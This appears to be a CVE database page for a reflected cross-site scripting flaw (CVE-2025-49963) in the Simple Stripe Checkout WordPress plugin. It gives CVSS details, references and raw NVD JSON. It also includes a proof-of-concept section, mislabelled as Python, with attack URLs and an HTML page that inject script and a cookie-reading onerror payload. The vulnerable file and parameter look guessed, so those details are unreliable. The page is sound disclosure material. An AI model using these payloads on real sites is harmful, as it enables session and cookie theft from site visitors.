CVE-2025-49963

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in growniche Simple Stripe Checkout simple-stripe-checkout allows Reflected XSS.This issue affects Simple Stripe Checkout: from n/a through <= 1.1.28.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Simple Stripe Checkout <= 1.1.28

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2025-49963: Simple Stripe Checkout Reflected XSS -->
<!-- Attack URL Pattern -->
<!-- http://[target]/wp-content/plugins/simple-stripe-checkout/[vulnerable_file]?param=<script>alert(document.domain)</script> -->

<!-- Example malicious URL -->
<!-- https://example.com/wp-content/plugins/simple-stripe-checkout/checkout.php?amount=<img src=x onerror=alert(document.cookie)> -->

<!-- HTML PoC -->
<html>
<body>
<h2>CVE-2025-49963 PoC</h2>
<p>Click the link below to test the reflected XSS:</p>
<a href='http://target-site.com/wp-content/plugins/simple-stripe-checkout/checkout.php?amount=<script>alert(String.fromCharCode(88,83,83))</script>' target='_blank'>Malicious Link</a>
<br><br>
<form action='http://target-site.com/wp-content/plugins/simple-stripe-checkout/checkout.php' method='GET'>
  <label>Amount Parameter:</label><br>
  <input type='text' name='amount' value='<img src=x onerror=alert(document.cookie)>' size='50'><br><br>
  <input type='submit' value='Generate Malicious URL'>
</form>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49963
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49963
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49963/
[4] VulDB https://vuldb.com/cve/CVE-2025-49963
[5] https://patchstack.com/database/Wordpress/Plugin/simple-stripe-checkout/vulnerability/wordpress-simple-stripe-checkout-plugin-1-1-28-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49963", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:43.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in growniche Simple Stripe Checkout simple-stripe-checkout allows Reflected XSS.This issue affects Simple Stripe Checkout: from n/a through <= 1.1.28."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-stripe-checkout/vulnerability/wordpress-simple-stripe-checkout-plugin-1-1-28-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}